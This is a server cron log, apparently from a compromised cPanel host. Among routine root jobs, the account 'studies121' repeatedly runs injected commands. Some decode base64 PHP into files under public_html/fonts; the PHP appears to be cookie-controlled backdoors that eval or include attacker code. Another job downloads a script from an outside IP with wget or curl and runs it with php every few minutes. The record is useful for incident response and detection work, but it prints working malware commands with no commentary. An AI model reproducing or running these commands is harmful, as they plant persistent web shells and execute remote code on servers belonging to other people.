Sep  4 18:39:01 ip-184-168-122-23 CROND[3958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:39:01 ip-184-168-122-23 CROND[3959]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:40:01 ip-184-168-122-23 CROND[4143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:40:01 ip-184-168-122-23 CROND[4149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:40:01 ip-184-168-122-23 CROND[4147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:41:01 ip-184-168-122-23 CROND[4252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:41:01 ip-184-168-122-23 CROND[4253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:41:01 ip-184-168-122-23 CROND[4256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:41:01 ip-184-168-122-23 CROND[4254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:42:01 ip-184-168-122-23 CROND[4368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:42:01 ip-184-168-122-23 CROND[4369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:42:01 ip-184-168-122-23 CROND[4371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:42:01 ip-184-168-122-23 CROND[4374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:42:01 ip-184-168-122-23 CROND[4370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:43:01 ip-184-168-122-23 CROND[4544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:43:01 ip-184-168-122-23 CROND[4543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:43:01 ip-184-168-122-23 CROND[4545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:43:01 ip-184-168-122-23 CROND[4546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:44:01 ip-184-168-122-23 CROND[4663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:44:01 ip-184-168-122-23 CROND[4664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:44:01 ip-184-168-122-23 CROND[4665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:44:01 ip-184-168-122-23 CROND[4666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:44:01 ip-184-168-122-23 CROND[4667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:45:01 ip-184-168-122-23 CROND[4791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:45:01 ip-184-168-122-23 CROND[4792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:45:01 ip-184-168-122-23 CROND[4793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:45:01 ip-184-168-122-23 CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:45:01 ip-184-168-122-23 CROND[4795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:45:01 ip-184-168-122-23 CROND[4796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4920]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:46:01 ip-184-168-122-23 CROND[4925]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:46:01 ip-184-168-122-23 CROND[4927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:47:02 ip-184-168-122-23 CROND[5037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:47:02 ip-184-168-122-23 CROND[5035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:47:02 ip-184-168-122-23 CROND[5036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:47:02 ip-184-168-122-23 CROND[5038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:48:01 ip-184-168-122-23 CROND[5236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:48:01 ip-184-168-122-23 CROND[5235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:48:01 ip-184-168-122-23 CROND[5232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:48:01 ip-184-168-122-23 CROND[5233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:48:01 ip-184-168-122-23 CROND[5234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:49:01 ip-184-168-122-23 CROND[5336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:49:01 ip-184-168-122-23 CROND[5339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:49:01 ip-184-168-122-23 CROND[5341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:49:01 ip-184-168-122-23 CROND[5340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:50:01 ip-184-168-122-23 CROND[5432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:50:01 ip-184-168-122-23 CROND[5430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 18:50:01 ip-184-168-122-23 CROND[5433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:50:01 ip-184-168-122-23 CROND[5431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:50:01 ip-184-168-122-23 CROND[5429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:50:01 ip-184-168-122-23 CROND[5435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:50:01 ip-184-168-122-23 CROND[5434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:50:02 ip-184-168-122-23 CROND[5437]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:50:02 ip-184-168-122-23 CROND[5436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:51:01 ip-184-168-122-23 CROND[5543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 18:51:01 ip-184-168-122-23 CROND[5545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 18:51:01 ip-184-168-122-23 CROND[5544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:51:01 ip-184-168-122-23 CROND[5546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
